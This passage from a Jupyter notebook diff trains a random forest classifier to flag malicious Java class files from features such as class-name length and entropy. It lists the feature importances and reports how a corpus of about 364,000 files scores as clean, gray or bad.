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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 244 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "# Feature Selection\n", + "# Which features best deferentiated the two classes?\n", + "# Here we're going to grab the feature_importances from the classifier itself, \n", + "importances = zip(all_features, clf_4k.feature_importances_)\n", + "importances.sort(key=lambda k:k[1], reverse=True)\n", + "sum = 0\n", + "for idx, im in enumerate(importances):\n", + " sum += round(im[1], 5)\n", + " print (str(idx+1) + ':').ljust(4), im[0].ljust(35), round(im[1], 5), sum" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "1: class_name_slash_count 0.25082 0.25082\n", + "2: class_name_length 0.22822 0.47904\n", + "3: entropy 0.0733 0.55234\n", + "4: constant_pool_count 0.06575 0.61809\n", + "5: class_name_uppercase_run_avg 0.06179 0.67988\n", + "6: size 0.05436 0.73424\n", + "7: class_name_lowercase_run_longest 0.05158 0.78582\n", + "8: class_name_uppercase_run_longest 0.04584 0.83166\n", + "9: method_name_lowercase_run_longest 0.03077 0.86243\n", + "10: method_name_lowercase_run_avg 0.02461 0.88704\n", + "11: class_name_lowercase_run_avg 0.02118 0.90822\n", + "12: interface_count 0.01524 0.92346\n", + "13: major version 0.01305 0.93651\n", + "14: method_name_uppercase_run_longest 0.01267 0.94918\n", + "15: method_name_uppercase_run_avg 0.01198 0.96116\n", + "16: methods_count 0.01062 0.97178\n", + "17: ap_count 0.00603 0.97781\n", + "18: class_name_digit_run_avg 0.00561 0.98342\n", + "19: minor version 0.00547 0.98889\n", + "20: acc_public 0.00262 0.99151\n", + "21: acc_abstract 0.00221 0.99372\n", + "22: class_name_digit_run_longest 0.00133 0.99505\n", + "23: acc_super 0.00132 0.99637\n", + "24: acc_final 0.00128 0.99765\n", + "25: method_name_digit_run_avg 0.00089 0.99854\n", + "26: method_name_digit_run_longest 0.0008 0.99934\n", + "27: acc_interface 0.00065 0.99999\n", + "28: acc_annotation 0.0 0.99999\n", + "29: acc_enum 0.0 0.99999\n", + "30: acc_synthetic 0.0 0.99999\n" + ] + } + ], + "prompt_number": 245 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Let's test on the large corpus again." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "clf_everything_4k = sklearn.ensemble.RandomForestClassifier(n_estimators=50)\n", + "\n", + "X_all = java_4k_df.as_matrix(all_features)\n", + "y_all = np.array(java_4k_df['label'].tolist())\n", + "\n", + "clf_everything_4k.fit(X_all, y_all)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 246, + "text": [ + "RandomForestClassifier(bootstrap=True, compute_importances=None,\n", + " criterion='gini', max_depth=None, max_features='auto',\n", + " min_density=None, min_samples_leaf=1, min_samples_split=2,\n", + " n_estimators=50, n_jobs=1, oob_score=False, random_state=None,\n", + " verbose=0)" + ] + } + ], + "prompt_number": 246 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "clean = 0\n", + "gray = 0\n", + "bad = 0\n", + "X_rest = java_random_the_rest_df.as_matrix(all_features)\n", + "for x in X_rest:\n", + " score = clf_everything_4k.predict_proba(x)[:,1][0]\n", + " if score < 0.5:\n", + " clean += 1\n", + " elif score < 0.8:\n", + " gray += 1\n", + " else:\n", + " bad += 1\n", + "\n", + "print java_random_the_rest_df.shape[0]\n", + "print clean\n", + "print gray\n", + "print bad" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "364341\n", + "359198\n", + "3766\n", + "1377\n" + ] + } + ], + "prompt_number": 247 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### That's much better. But still a large number of files in the gray area and marked as malicious. More than I would expect. This means we either need more training data, or better features." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [], + "language": "python", + "metadata": {}, + "outputs": [] + } + ], + "metadata": {} + } + ] +} \ No newline at end of file